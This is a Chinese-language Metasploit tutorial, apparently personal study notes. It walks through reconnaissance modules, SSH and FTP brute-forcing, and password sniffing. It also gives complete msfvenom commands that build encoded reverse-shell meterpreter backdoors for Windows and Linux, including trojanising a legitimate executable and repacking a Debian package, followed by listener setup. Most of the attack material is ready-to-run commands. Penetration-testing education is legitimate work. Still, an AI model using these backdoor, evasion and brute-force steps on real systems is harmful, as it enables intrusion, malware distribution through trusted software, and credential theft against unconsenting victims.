MSF
Metasploit介绍
模块结构
Exploits
- 渗透攻击模块,渗透漏洞利用模块
Aux
- 辅助模块,扫描和一些信息收集
Post
- 后渗透模块
Payloads
- 攻击载荷模块,目标机器执行的代码
Encoders
- 对攻击代码进行编码,起到免杀作用
Nops
- 控制类模块,提高攻击代码的稳定性
目录结构
cd /usr/share/metasploit-framework
- data:metasploit的可编辑文件
- documentation:框架的文档
- lib:框架代码库
- modules:实际的MSF模块
- plugins:可在运行时加载的插件
- scripts:Meterpreter和其他脚本
- tools:各种有用的命令行工具
如何使用
- metasploit需要搭配
Postgresql数据库
-
启动
Postgresql数据库手动启动
systemctl start postgresql
开机启动
systemctl enable postgresql
数据库初始化
msfdb init
-
启动msf
msfconsole
msfdb run
-
常见的指令
connect【连接目标端口】
connect blog.csdn.net 80
输入 get /【发送一个get请求查看回应的信息可能包含服务器等其他信息】
show【查看模块和选项】
show exception【查看模块】
use 加载完模块后
show options【查看设置】
show targets 【查看针对哪些目标】
search【查找】
search name:mysql 【根据名称进行搜索】
search path:mysql 【根据路径进行搜索】
search platform:linux 【根据操作系统进行搜索】
search type:exploit 【根据类型搜索】
search cve:CVE-2017-8464 【根据CVE进行搜索】
search cve:2018 type:exploit platform:linux name:mysql 【组合搜索,搜索cve是2018年的linux系统关于mysql的exploit】
use【加载模块】
use exploit/windows/smb/ms08_067_netapi
back【退出加载模块】
break
info【显示模块的详细信息】
info exploit/windows/smb/ms08_067_netapi
set和unset【设置参数和取消设置参数】
set rhosts 192.168.31.122
unset rhosts
-
漏洞Rank
- 每一个漏洞利用模块都是基于他们对目标系统的潜在影响被标记了一个
Rank基于这个来进行排名
级别 说明 excellent 漏洞利用绝不会使目标服务器崩溃【SQL注入、命令注入、远程文件包含、本地文件包含】 great 该漏洞利用程序有一个默认的目标系统,且可以自动检测适当的目标系统或者在目标服务的版本检查之后可以返回一个特定的返回地址 good 该漏洞利用程序有一个默认的目标系统,并且是这种类型软件的“常见情况”(Windows 2007服务器的2012等) normal 该漏洞利用程序是可靠的,但依赖特定的版本,并且不能或者不能可靠的自动监测 average 该漏洞不可靠或者难以利用 low 对于通用平台而言,该漏洞利用程序几乎不能利用【低于50%】 manual 该漏洞利用程序不稳定或者难以利用并且基于DOS,如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到 - 每一个漏洞利用模块都是基于他们对目标系统的潜在影响被标记了一个
信息收集
基于TCP协议收集主机信息
存活主机信息收集
利用nmap和arp_sweep进行扫描
- db_nmap -sV 192.168.0.118
- use auxiliary/scanner/discovery/arp_sweep
- show options
- set rhosts 192.168.0.0/24
- set ThREADS 25
- run
端口信息收集
使用半连接方式扫描TCP端口
- search portscan
- use auxiliary/scanner/syn
- show options
- set rhosts 192.168.0.120
基于SNMP协议收集主机信息
161端口
- 简单的网络管理协议,由一组网络管理的标准组成,包括一个应用层协议、数据库模型和一组资源对象
- 该协议能够支持网络管理系统,用以检测连接到网络上的设备是否有任何引起管理关注的情况
利用snmp_enum来进行收集
- use auxiliary/scanner/snmp/snmp_enum
- show options
- set rhosts 192.168.0.118
- run
注意:该服务【SNMP】默认不对外开放,需要进行修改
linux:vim /etc/default/snmp 127.0.0.0修改成0.0.0.0 保存 /etc/init.d/snmp restart netstat -antup | grep 161
windows:开始 - 控制面板 - 添加或删除程序 - 添加或删除组件 - 管理和监事工具 - 全部安装 - win+r - 输入services.msc - 找到SNMP service - 右键属性 - 安全 - 添加一个团体名称'public' 随便权限 - 选中接受任何主机的SNMP数据包
基于SMP协议收集主机信息
445端口
网络文件共享,一种应用层网络传输协议
使用smb_version扫描操作系统版本号
- search smb_version
- use auxiliary/scanner/smb/smb_version
- set rhosts 192.168.0.120
- run
使用smb_enumshares基于SMB协议扫描共享文件【需要目标的账号、密码】
- search smb_enumshares
- use auxiliary/scanner/smb/smb_enumshares
- set rhosts 192.168.0.104
- set SMBuser administrator
- set SMBpasswd 1234.a
- run
使用smb_lookupsid扫描用户信息【SID枚举】
- search smb_lookupsid
- use auxiliary/scanner/smb/smb_lookupsid
- set rhosts 192.168.0.104
- set SMBuser administrator
- set SMBpasswd 1234.a
- run
基于SSH协议收集主机信息
查看SSH服务的版本信息
- search ssh_version
- use auxiliary/scanner/ssh/ssh_version
- set rhosts 192.168.0.104
- run
对SSH进行暴力破解
- search ssh_login
- use auxiliary/scanner/ssh/ssh_login
- show options
- set rhosts 192.168.0.119
- set STOP_ON_SUCCESS true
- set VERBOSE true 【显示暴力破解的详细过程】
- 可以指定用户字典【set user_file /字典/ssh_user.txt】和密码字典【set pass_file /字典/ssh_passwd.txt】
- 也可以指定用户密码字典【kali自带了一个用户密码字典,在/usr/share/metsploit-framework/data/wordlist/root_userpasswd.txt】
- run
基于FTP协议收集主机信息
查看FTP服务的版本信息
- search ftp_version
- use auxiliary/scanner/ftp/ftp_version
- show options
- set rhosts 192.168.0.104
ftp匿名登录扫描
- use auxiliary/scanner/ftp/anonymous
- set rhosts 192.168.0.119
- run
ftp暴力破解
- use auxiliary/scanner/ftp/ftp_login
- set rhosts 192.168.0.119
- set STOP_ON_SUCCESS true
- set VERBOSE true 【显示暴力破解的详细过程】
- 可以指定用户字典【set user_file /字典/ssh_user.txt】和密码字典【set pass_file /字典/ssh_passwd.txt】
- 也可以指定用户密码字典【kali自带了一个用户密码字典,在/usr/share/metsploit-framework/data/wordlist/root_userpasswd.txt】
- run
制作恶意软件获取shell
windows
简单的制作后门程序
- msfvenom是msfpayload和msfencode的结合体,可以利用msfvenom生成木马程序,并在目标机上执行,在本地进行监听
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /home/1.exe
- -a:指定框架【x86、x64】
- --platform:指定平台
- -p:指定payload
- LHOST:指定本机IP
- LPORT:指定本地监听端口
- -b:去掉16进制的空字符
- -e:指定编码器
- -i:编码次数
- -f:指定类型
- -o:指定输出文件的路径
给真正的软件植入恶意软件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -x 看.exe -i 10 -f exe -o /home/1.exe
- -x:添加需要植入后门的软件
监听
- use exploit/multi/handler
- set payload windows/x64/meterpreter/reverse_tcp
- show options
- set lhost 192.168.0.117
- set lport 4444
- run
Linux
简单的制作后门程序
- msfvenom是msfpayload和msfencode的结合体,可以利用msfvenom生成木马程序,并在目标机上执行,在本地进行监听
msfvenom -a x86 --platform linux -p linux/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f elf -o /home/aaa
给软件包植入恶意软件
- apt install freesweep --download-only 这是只下载软件包,不会进行安装
- dpkg -x freesweep free 把软件包解到free目录下
msfvenom -a x86 --platform linux -p linux/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f elf -o /home/aaa
监听
- use exploit/multi/handler
- set payload linux/x64/meterpreter/reverse_tcp
- show options
- set lhost 192.168.0.117
- set lport 4444
- run
其他
密码嗅探收集
- 使用auxiliary/sniffer/psnuffle模块进行密码嗅探
这个模块只支持
pop3、imap、ftp、http、get协议

- FILTER:过滤的参数
- INTERFACE:指定网卡
- PCAPFILE:wireshark抓的数据包,可以从中进行嗅探密码
- PROTOCOLS:指定所有支持的协议
- SNAPLEN:数据包最大大小
- TIMEOUT:超时时间
直接run运行

- 捕获结果

浙公网安备 33010602011771号